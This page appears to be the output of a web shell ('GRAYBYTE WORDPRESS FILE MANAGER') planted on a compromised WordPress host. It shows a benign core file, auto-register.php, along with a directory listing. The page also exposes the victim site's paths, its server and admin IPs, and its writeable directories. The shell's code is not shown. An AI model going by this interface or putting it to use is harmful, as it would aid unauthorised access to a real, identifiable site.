$24 GRAYBYTE WORDPRESS FILE MANAGER $50

SERVER : webd004.cluster105.gra.hosting.ovh.net #1 SMP Fri May 15 02:41:25 UTC 2026
SERVER IP : 213.186.33.16 | ADMIN IP 216.73.217.13
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : _dyuweyrj4,_dyuweyrj4r,dl

/home/agencefrei/www/wp-includes/block-supports/

HOME
Current File : /home/agencefrei/www/wp-includes/block-supports//auto-register.php
<?php
/**
 * Auto-register block support.
 *
 * @package WordPress
 * @since 7.0.0
 */

/**
 * Marks user-defined attributes for auto-generated inspector controls.
 *
 * This filter runs during block type registration, before the WP_Block_Type
 * is instantiated. Block supports add their attributes AFTER the block type
 * is created (via {@see WP_Block_Supports::register_attributes()}), so any attributes
 * present at this stage are user-defined.
 *
 * The marker tells generateFieldsFromAttributes() which attributes should
 * get auto-generated inspector controls. Attributes are excluded if they:
 * - Have a 'source' (HTML-derived, edited inline not via inspector)
 * - Have role 'local' (internal state, not user-configurable)
 * - Have an unsupported type (only 'string', 'number', 'integer', 'boolean' are supported)
 * - Were added by block supports (added after this filter runs)
 *
 * @since 7.0.0
 * @access private
 *
 * @param array<string, mixed> $args Array of arguments for registering a block type.
 * @return array<string, mixed> Modified block type arguments.
 */
function wp_mark_auto_generate_control_attributes( array $args ): array {
	if ( empty( $args['attributes'] ) || ! is_array( $args['attributes'] ) ) {
		return $args;
	}

	$has_auto_register = ! empty( $args['supports']['autoRegister'] );
	if ( ! $has_auto_register ) {
		return $args;
	}

	foreach ( $args['attributes'] as $attr_key => $attr_schema ) {
		// Skip HTML-derived attributes (edited inline, not via inspector).
		if ( ! empty( $attr_schema['source'] ) ) {
			continue;
		}
		// Skip internal attributes (not user-configurable).
		if ( isset( $attr_schema['role'] ) && 'local' === $attr_schema['role'] ) {
			continue;
		}
		// Skip unsupported types (only 'string', 'number', 'integer', 'boolean' are supported).
		$type = $attr_schema['type'] ?? null;
		if ( ! in_array( $type, array( 'string', 'number', 'integer', 'boolean' ), true ) ) {
			continue;
		}
		$args['attributes'][ $attr_key ]['autoGenerateControl'] = true;
	}

	return $args;
}

// Priority 5 to mark original attributes before other filters (priority 10+) might add their own.
add_filter( 'register_block_type_args', 'wp_mark_auto_generate_control_attributes', 5 );


Current_dir [ WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
2 Jun 2026 12.47 AM
agencefrei / users
0705
align.php
1.668 KB
6 Mar 2026 5.43 PM
agencefrei / users
0604
anchor.php
1.537 KB
20 May 2026 11.16 PM
agencefrei / users
0644
aria-label.php
1.651 KB
20 May 2026 11.16 PM
agencefrei / users
0644
auto-register.php
2.181 KB
20 May 2026 11.16 PM
agencefrei / users
0644
background.php
4.048 KB
6 Mar 2026 5.43 PM
agencefrei / users
0604
block-style-variations.php
9.278 KB
20 May 2026 11.16 PM
agencefrei / users
0644
block-visibility.php
5.228 KB
20 May 2026 11.16 PM
agencefrei / users
0644
border.php
6.102 KB
20 May 2026 11.16 PM
agencefrei / users
0644
colors.php
5.387 KB
20 May 2026 11.16 PM
agencefrei / users
0644
custom-classname.php
1.636 KB
6 Mar 2026 5.43 PM
agencefrei / users
0604
custom-css.php
9.369 KB
20 May 2026 11.16 PM
agencefrei / users
0644
dimensions.php
5.212 KB
20 May 2026 11.16 PM
agencefrei / users
0644
duotone.php
2.667 KB
6 Mar 2026 5.43 PM
agencefrei / users
0604
elements.php
8.198 KB
20 May 2026 11.16 PM
agencefrei / users
0644
generated-classname.php
1.704 KB
6 Mar 2026 5.43 PM
agencefrei / users
0604
layout.php
42.313 KB
20 May 2026 11.16 PM
agencefrei / users
0644
position.php
4.014 KB
20 May 2026 11.16 PM
agencefrei / users
0644
settings.php
4.446 KB
20 May 2026 11.16 PM
agencefrei / users
0644
shadow.php
2.044 KB
6 Mar 2026 5.43 PM
agencefrei / users
0604
spacing.php
2.684 KB
20 May 2026 11.16 PM
agencefrei / users
0644
typography.php
27.677 KB
20 May 2026 11.16 PM
agencefrei / users
0644
utils.php
0.987 KB
6 Mar 2026 5.43 PM
agencefrei / users
0604

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF Static GIF